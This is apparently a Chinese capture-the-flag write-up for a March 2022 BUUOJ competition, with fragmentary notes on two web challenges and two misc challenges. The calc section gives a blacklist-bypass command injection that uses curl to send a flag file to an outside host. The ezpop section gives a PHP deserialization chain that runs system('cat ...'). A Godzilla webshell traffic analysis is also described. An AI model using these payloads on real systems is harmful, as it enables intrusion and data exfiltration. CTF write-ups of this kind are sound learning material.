WriteUP
此博客为比赛时协作文档的整理,包括后期复现的一些修改,感谢一起打比赛的小伙伴们
比赛地址
https://buuoj.cn/match/matches/89
起止时间
2022年3月26日 10:00 – 2022年3月26日 18:00
WEB
calc
题目主要绕过blacklist,执行python命令,提取flag
之类的都被过滤了,没有可用的文件读取手段()&
已知可执行指令exec,但过滤了(),可以直接
,但是过滤了空格exec '指定语句'
最后发现可以访问外网,可以通过反引号绕过检测,并且通过#允许
执行eval()
123#
ls
然后可以使用curl把flag带出来
http://uuid4.node4.buuoj.cn:81/calc?num=1%23
curl%09http://api.hz2016.com/?flag=\
cat%09Th1s*“
这里MTGG补充了个很重要的信息,关于#注释的运用
Unix
如果#号和字符紧贴着的话会被视为字符而不是注释符,加上反斜杠可以把#号转义为普通字符
Python
无论紧贴与否都视为注释,无法用反斜杠转义
所以很快想到了Payload
1#`rce`
另外一点
之后考虑外带,空格可以用%09绕过,反引号可以嵌套使用,记得加上转义
ezpop
a = new fin();
}
}
class mix{
public $m1;
public function __construct(){
$this->m1 = "?>=system('cat H0mvz850F.php');";
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
class fin{
public $f1;//这里其实好像少了点什么
public function __construct(){
$this->f1 = array(new mix(), 'get_flag');
}
}
$a = new fin();
$a->f1 = new what();
echo urlencode(serialize($a));
当前目录有个flag.php。但是是假的
可以读取到根目录下有个flag.sh
但是用SplFileObject只能读出一行来,应该是来执行的
好可爱的一道题,终于有简简单单的pop链了
fin->(调用destruct)->what->(调用tostring)->fin->(调用run)->crow->(调用invoke)->fin->(调用call)->mix->(getflag)
绕过井号:利用?>`
进行绕过标签绕过,也可以添加换行符
`\n
去以后ls可以看到很多文件,本来想要去搞那个flag.sh,但是觉得可能是出题用的,所以cat / 然后看到了一个congratulations,是H0mvz850F.php文件,里面有注释掉的flag(所以直接cat / 会被解析看不到)
MISC
月圆之夜
B站有一个月圆之夜的文字解码,是希腊语,英文语法
我破译了神级彩蛋!这款游戏竟然藏了这么多剧情?《月圆之夜》究竟讲了什么故事?
翻译后:
DASCTFWELCOMETOTHEFULLMOONNIGHT
FLAG格式:大写{小写}
Au5t1n的秘密
一开始在扫描端口,扫了很久,在找管理页面:adm.jsp、Admin之类的
扫了个 robots.txt 出来
扫完又开扫
/e/
路由/e/admin/
是存在的,No.6244 可以关注一下过滤器 http.response.code == 200
http.response.code == 302
都可以关注一下
扫描的是一个 CMS
最后发现是应该只筛选http
中间发现有上传后门
base64解密
得到payload生成方式
发现是哥斯拉的马,采用的加密方式是异或,这里上传的是didi.php,因此在http处导出didi。
关在在于最后执行了一个gzencode($result,6),因此在后面的恢复过程中必须加上这个。否则后面一大串都是乱码。
然后flag是在第2079的流里
偷mumuzi大哥一个代码